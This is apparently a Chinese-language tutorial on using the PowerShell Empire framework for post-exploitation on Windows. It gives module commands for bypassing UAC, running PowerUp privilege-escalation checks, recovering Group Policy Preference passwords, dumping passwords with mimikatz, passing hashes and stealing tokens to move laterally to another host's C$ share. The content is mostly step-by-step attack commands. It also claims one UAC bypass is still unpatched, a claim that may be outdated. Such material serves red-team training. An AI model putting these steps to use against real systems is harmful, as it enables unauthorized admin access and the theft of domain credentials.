权限提升
- Bypass UAC
- usemodule powershell/privesc/bypassuac
- 设置listener
- execute
- list查看
- usemodule powershell/private/bypassuac_wscript (win7)
当运行完提权模块后,back返回agents查看,多了一个提权成功带(*)号的agents
usemodule powershell/private/bypassuac_wscript(win7)
该模块的原理是使用c:windowswscript.exe 执行payload,即绕过UAC实现管理员权限执行payload,只适用于win7系统,目前尚没有补丁,部分杀软会有提示。
- PowerUp
- AllChecks
- usemodule powershell/privesc/powerup/allchecksàexecute
- GPP
- usemodule powershell/private/gpp
Empire内置了PowerUp的部分工具,主要有windows系统错误配置漏洞,windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式,
usemodule powershell/privesc/powerup/ <tab> <tab> # 查看所有powerup模块
AllChecks模块
查看系统中的漏洞,使用方法和Powersploit下powerup的Invoke-AllChecks模块一样,
该模块可以执行所有脚本检测系统漏洞,
usemodule powershell/privesc/powerup/allchecks
set Agent pc2
execute
当进入一个普通用户权限的session,使用bypassuac <Listener Name>进行提权。
提取完成后agents下会多出一个已经提权成功带(*)的session。
AllChecks模块的应用对象如下:
任何没有引号的服务路径
任何ACL配置错误的服务(可通过service_*利用)
服务可执行文件上的任何设置不当的权限(可通过service_exe_*进行利用)
任何剩余的unattend.xml文件。
设置AlwaysInstallElevated注册表项。
如果有任何Autologon凭证留在注册表中。
任何加密的web.config字符串和应用程序池密码。
对于任何%PATH%.DLL的劫持机会(可通过write_dllhijacker利用)。
具体使用方法参见如下文章:
Metasploit、powershell之Windows错误系统配置漏洞实战提权
metasploit之Windows Services漏洞提权实战
Metasploit、Powershell之AlwaysInstallElevated提权实战
GPP
在域里常会启用组策略首选项来更改本地密码,用于管理和部署映像,其缺点是任何普通用户都可以从相关域控制器的SYSVOL中读取部署信息。GPP是采用AES256加密的,输入use powershell/privesc/gpp命令查看。
横向渗透
1.令牌窃取
在获取服务器权限后,可以使用Empire内置的mimikatz获取系统密码,执行完毕后输入creds命令即可查看mimikatz列举出的密码。
先使用域管理员账户登录域内靶机,
伪造凭证的前提是 域用户曾在此服务器上登录过
若使用域管理员账户访问域内某台机器出现“此工作站和主域间信任关系失败”报错提示,可以先退出域,重启计算机,再重新加入域即可解决。
可以看到域用户曾在此服务器上登录过,此时可以窃取域用户身份凭证,然后进行横向移动,
首先要窃取域用户凭证,使用pth <ID> 命令,这里的 ID 号就是 creds下的CredID,这里窃取administrator的身份令牌,执行pth 4命令。
从上图可以看到PID进程号为800,使用 steal_token PID 命令即可该身份令牌。
使用ps命令查看是否有域用户进程,可以看到存在域用户的进程。
这里我们选择同一个 Name 为 cmd,PID 为 2176 的进程。
同样我们使用steale_token 命令来窃取这个令牌,这里我们可以尝试访问域内另一台主机WIN-PC1的c$.
shell dir \WIN-PC1c$
输入 revtoself 命令可以将令牌权限恢复到原来的状态。